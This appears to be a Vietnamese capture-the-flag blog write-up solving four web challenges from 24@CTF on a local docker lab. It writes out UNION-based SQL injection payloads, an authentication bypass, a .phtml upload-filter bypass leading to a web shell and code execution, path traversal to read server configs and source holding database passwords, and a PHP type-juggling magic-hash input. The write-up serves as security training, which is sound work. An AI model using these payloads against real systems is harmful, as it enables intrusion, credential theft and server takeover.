+1

[Write-up] 24@CTF: Web Challenges

Giới thiệu

Tuần vừa rồi mình có tham gia 1 giải ctf đó là 24@ctf. Mình thấy nó khá là hay phù hợp với những bạn đã có 1 chút hiểu biết về các lỗ hổng, nên mình đã viết write-ups. Đây là docker, các bạn có thể build lên để thực hành. Mình khuyên các bạn nên làm thử trước khi đọc write-up.

Bookwarm

Đây là giao diện khi ta vào link

image.png

Chỉ có 1 chức năng duy nhất là tìm kiếm sách

Mĩnh sẽ nghĩ ngay đến việc thử với payload SQL injection

image.png

Dễ dàng thành công, việc bây giờ cần làm là dùng SQLmap để dump database ra thôi

NHƯNG hệ thống đã chặn các requests liên tục của SQLmap, nên đành phải khai thác bằng tay vậy

Đầu tiên sử dụng payload sau để biết tên bảng

1' UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES -- 

image.png

Ta biết được có 2 bảng là Admin và Books, nhưng mình nghĩ cái chúng ta cần là Admin

Thêm 1 điều nữa là trang upload.php đang bị comment lại vì đang bảo trì, chắc tí nữa sẽ cần dùng đến

Sau khi biết được bảng Admin rồi cần biết xem bảng này có mấy cột và là những cột nào

1' UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Admin'--

image.png

Kết quả gồm 3 cột id, password, username. Giờ đã biết tên các cột rồi, thử query ra từ bảng Admin xem có gì hay không

1'+UNION+ALL+SELECT+username,password+FROM+Admin+--+

image.png

Nhận được flag luôn và thêm 1 username + password nữa

Bookworm 2

Đến bây giờ thì chúng ta quay trở lại đoạn Upload.php vừa rồi, thử truy cập vào upload.php

image.png

Hiện ra 1 form đăng nhập, mình thử cái username+password vừa dump được cùng flag vào form này

image.png

Đăng nhập thành công, đây là 1 trang cho phép upload sách, khả năng rất cao là dính lỗi file upload mình sẽ thử up 1 file ảnh lên xong sau đó sẽ đổi đuôi thành php

image.png

Nhưng bị lỗi trả về, hệ thống không chấp nhận file có đuôi là .php

image.png

Ở đây cách bypass đơn giản là dùng đuổi file khác với .php những server vẫn sẽ thực hiện php khi gặp file đó. Một vài ví dụ ở đây như: phtml, phar, php2, php3, php4, …

Mình sẽ thử với phtml, lần này mình sẽ cho thẳng Shell luôn cho nhanh 😁😁

image.png

image.png

Kết quả trả về thành công, như vậy chỉ cần đi vào theo đương dẫn kia là mình có thể RCE được server

Lúc này chỉ cần tìm file flag trên hệ thống là được, ở đây mình dùng find

find / -name *.txt 2>/dev/null

image.png

Paul_Dirty_Secret

Đây là giao diện khi ta vào link

image.png

Trên giao diện có 1 vài category như services, about, team, contact. Tất cả chức năng này đều không sử dụng được.

Sau đó mình tiến hành enum thêm ở các file source nhưng cũng không thu được gì

Tiến hành sử dụng dirsearch để

python3 dirsearch.py -u "http://localhost:897/" -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
──(hieupn4㉿kali)-[~]
└─$ dirsearch -u http://localhost:897 -t 100                                                               
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 11460

Output File: /home/hieupn4/reports/http_localhost_897/_24-04-10_12-27-58.txt

Target: http://localhost:897/

[12:27:58] Starting: 
....
[12:28:02] 302 -    0B  - /admin.php  ->  http://fun-in-jail.ctf:897/login.php
[12:28:06] 301 -  312B  - /assets  ->  http://localhost:897/assets/
[12:28:06] 200 -  474B  - /assets/
[12:28:08] 301 -  309B  - /css  ->  http://localhost:897/css/
[12:28:11] 200 -  834B  - /head.php
[12:28:13] 200 -  449B  - /js/
[12:28:14] 200 -    1KB - /login.php
[12:28:15] 301 -  311B  - /notes  ->  http://localhost:897/notes/

output dirsearch có path là /notes, tại đây có 3 file fichier.txt. Nội dung của 3 file lần lượt như sau:

image.png

Nội dung của 3 file này không có gì quan trọng, nên tạm thời để đó và chuyển tiếp hướng khác

Ngoài ra tại output dirsearch bên trên, có thể thấy sau khi vào /admin thì request sẽ chuyển hướng sang http://fun-in-jail.ctf:897/login.php —> ta thêm fun-in-jail.ctf vào /etc/hosts

image.png

Tiến hành vào http://fun-in-jail.ctf:897/login.php, tại đây chỉ có 1 form login

image.png

Thấy form login thì các bạn nghĩ ngay đến phải khác thác lỗ hổng gì ?? Chắc chắn phải có SQLi rồi đúng không 😄

Tiến hành bắt request và inject thử 1 kí tự ‘ —> kết quả respone thông báo ERROR

image.png

Sử dụng ORDER BY để check số columns, kết quả dừng ở ORDER BY 1 thì respone trả về bình thường.

image.png

Với ORDER BY 2 thì respone lỗi

image.png

Suy ra ứng dụng chỉ có một columns

Sau khi đã biết số column, sử dụng UNION SELECT NULL —> kết quả Respone trả về cho thấy mình đã bypass được Authen thành công

image.png

Sau khi authen thành công, ứng dụng chuyển hướng đến /admin. Tại đây chỉ có 1 form + button như ảnh dưới

image.png

Tiến hành bắt request khi click vào button, kết quả Respone cho thấy nội dung của file fichier3.txt

image.png

Nhìn thấy param filename gọi thẳng đến file fichier3.txt mình nghĩ phía Server đang xử lý đoạn đọc file này như sau (do lúc nãy chúng ta dir fuzz ra mấy file này nằm trong path /notes)

...
       print(@file_get_contents("notes/".$_POST["filename"]));
...

Đến đây chỉ cần inject thêm ../index.php để đọc file index.php, FLAG sẽ thu được trong respone

image.png

Ta thu được Flag polycyber{SQLi_To_LFI_but_where_is_the_hidden_sites?}

Paul_Dirty_Secret_2

Flag ở bài 1 cũng chính là hint để chúng ta làm tiếp. Hidden_site??

Với lỗi có thể đọc file bất kỳ ở bài trước, ta có thể đọc bất kỳ file nào trên hệ thống, từ đây sẽ đọc được file config của hệ thống, và đây là file config quan trọng ta tìm được /etc/apache2/sites-enabled/000-default.conf

image.png

Đây là file conf mà ta tìm được:

...

<VirtualHost *:80>
    #The hidden site is here !!!!!
    ServerName secret-barbapapa-addicts.ctf
    DocumentRoot /var/www/html/secret-site

    <Directory /var/www/html/secret-site>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>

...

<VirtualHost *:897>
    ServerName secret-barbapapa-addicts.ctf
    DocumentRoot /var/www/html/secret-site

    <Directory /var/www/html/secret-site>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>

Vậy là tìm được ngoài fun-in-jail.ctf còn 1 host nữa là secret-barbapapa-addicts.ctf và tác giả còn comment vào đó hidden site

Cũng thực hiện add secret-barbapapa-addicts.ctf vào /etc/hosts

image.png

Ở trên file config trên, ta còn biết được document root của host này là /var/www/html/secret-site . Tiếp tục dùng lỗi trên để đọc source code của host này

image.png

Ta nhận được source code của trang web

<?php

if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['password'])) {
    include("password_request.php");
} else {
    $conn = new mysqli("mysql","challuser","ThisIsADumbPassword","barbadb");
    if ($conn->connect_error) {
	die("Connection failed: " . $conn-connect_error);
    }

    $password = sha1($_POST['password']);

    $sql = "SELECT secret FROM Secret LIMIT 1;";
    $result = $conn->query($sql);
    $row = $result->fetch_assoc();

    if ($row["secret"] == $password) {
	    $conn = new mysqli("mysql","flaguser","ThisIsADumbPasswordAGAIN","barbadb");
	    if ($conn->connect_error) {
	    	die("Connection failed: " . $conn-connect_error);
	    }
	    $result = $conn->query("SELECT secret_flag FROM Flag LIMIT 1;");
	    $row = $result->fetch_assoc();
	    echo "<h1>Well done, the flag is: " . $row['secret_flag'] . "</h1>";
    }
	
   else {
       include("password_request.php");
   }   
}
?>

Đoạn code trên thực hiện nhận param password thông qua POST, sau đó nó sẽ được băm với SHA1, sau đó sẽ so sánh với 1 giá trị ở cột secret lấy ở trên table Secret, nếu 2 giá trị này bằng nhau ta sẽ nhận được flag

Sau khi tìm hiểu thì ở đoạn code:

$password = sha1($_POST['password']);

...
...
...

if ($row["secret"] == $password) {
	    $conn = new mysqli("mysql","flaguser","ThisIsADumbPasswordAGAIN","barbadb");
	    if ($conn->connect_error) {
	    	die("Connection failed: " . $conn-connect_error);
	    }
	    $result = $conn->query("SELECT secret_flag FROM Flag LIMIT 1;");
	    $row = $result->fetch_assoc();
	    echo "<h1>Well done, the flag is: " . $row['secret_flag'] . "</h1>";
    }

Dev đã sử dụng dấu “==” để so sánh giá trị secret với cái password được băm bởi SHA1, mà “==” là loose comparision Đây là lỗi Type juggling, mình đoán là secret sẽ là 0exxxxxxxxxxxxxxxxxxxxxxxxx với x là số ngẫu nhiên, thường các bài ctf sẽ có phần đoán như này

<aside> 💡 Để giải thích thì khi mà so sánh 2 giá trị với nhau với dấu ‘==’, ta đoán được giá trị của `secret` sẽ là “0exxxxxxxxxxxxxxxxx”,

Theo toán học, ví dụ 0e1231412 = 0 * e ^ 1231412 = 0, cho nên qua phép “==” của php nó sẽ hiểu theo điều đó và chuyển đổi giá trị của secret thành 0. Như vậy ta sẽ tìm 1 giá trị vào biến password để cho khi mà qua băm SHA1 nó cũng sẽ có format là “0exxxxxxxxxxx” để khiến cho 2 giá trị = nhau

</aside>

Mình có tìm payload trên payloadallthethings, payload để điền vào sẽ là password=10932435112 , khi qua hàm SHA1 nó sẽ là 0e07766915004133176347055865026311692244 cũng sẽ được php chuyển về 0 khi so sánh

Bây giờ chỉ cần điền password là 10932435112 ta sẽ nhận được flag

image.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí